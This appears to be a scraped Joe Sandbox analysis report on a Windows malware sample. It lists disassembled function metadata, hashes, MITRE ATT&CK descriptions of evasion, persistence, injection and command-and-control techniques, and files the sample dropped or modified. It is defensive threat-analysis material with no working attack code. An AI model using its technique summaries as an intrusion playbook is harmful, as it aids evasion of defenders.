Opcode Fuzzy Hash: 6a886890aa9fe5dd5d8e717e2f1bee1d4a54209c3190a12b0fd9e265e8a61679
Instruction Fuzzy Hash: 7921D0B12042069FC315EF29D895DEBB7E9EFC8310F11861DFA55A7351DB30DC4686A2

Function 00E16B60 Relevance: 5.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?), ref: 00E14925
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?), ref: 00E14936
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,?), ref: 00E1495D
HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,?), ref: 00E14964

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ErrorHeapLast$FreeProcess
String ID:
API String ID: 1234203156-0
Opcode ID: 89c693a36755b01b69df364a9d72b4593fe2429603bcc29170a87a0b98bf5279
Instruction ID: 2cd6e41c57560551eba0fec8b109baa6fc2e9fc8249088b573ab66cf824ba75e
Opcode Fuzzy Hash: 89c693a36755b01b69df364a9d72b4593fe2429603bcc29170a87a0b98bf5279
Instruction Fuzzy Hash: 5E21F3B1500012DFCF15AF61DD94DFEBBA9AFC07093049058F502BA2A6DB309D89DBA1

Function 00E148B7 Relevance: 5.1, APIs: 4, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?), ref: 00E14925
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?), ref: 00E14936
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,?), ref: 00E1495D
HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,?), ref: 00E14964

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ErrorHeapLast$FreeProcess
String ID:
API String ID: 1234203156-0
Opcode ID: b5792711dec0e41f9e60222283f9acfdb2353d4a37ee7568e2ee1cab96a9d67a
Instruction ID: 5864a64deb1a1ada764ecd432450e23eca62ebdc078c09ffc792830ac1274888
Opcode Fuzzy Hash: b5792711dec0e41f9e60222283f9acfdb2353d4a37ee7568e2ee1cab96a9d67a
Instruction Fuzzy Hash: A62105B1500012EFCF15AF61DC94DEEBBA8EF817093049054F502BB296DB309E85DBE1

Function 00E12E62 Relevance: 5.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,?,00E14B2F,?,00000000,00000000,?,?,?,00000000,?), ref: 00E12E80
HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,00000000,?,?,?,00E148A0,?,?,?,?,00000000), ref: 00E12E87
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,00E14B2F,?,00000000,00000000,?,?,?,00000000,?,?,?,00E148A0), ref: 00E12EA5
HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,00000000,?,?,?,00E148A0,?,?,?,?,00000000), ref: 00E12EAC

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 32e309de457fdd845f259a34b2fa27d1ea42ad896da0c1076cd45fdcd57ea5ce
Instruction ID: dadd1b72ee6d15d32a37a4488d19dd308670a1725b3f210d62e15a0ff3d13ad2
Opcode Fuzzy Hash: 32e309de457fdd845f259a34b2fa27d1ea42ad896da0c1076cd45fdcd57ea5ce
Instruction Fuzzy Hash: 5BF04F72610211AFDB148FA1DC88BA5BBF8FF4C312F11452DF241DA090D775E9A5CBA0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gE4NVCZDRk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_XekSuT.exe_24c27fbdbba447a89abf50ef7e2ed5439a15e51d_dc0ba3f8_8105e1f2-2929-4267-abb0-a6608c1169c0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD362.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD45D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD48D.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD49B.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD4EA.tmp.txt

Windows Analysis Report
gE4NVCZDRk.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre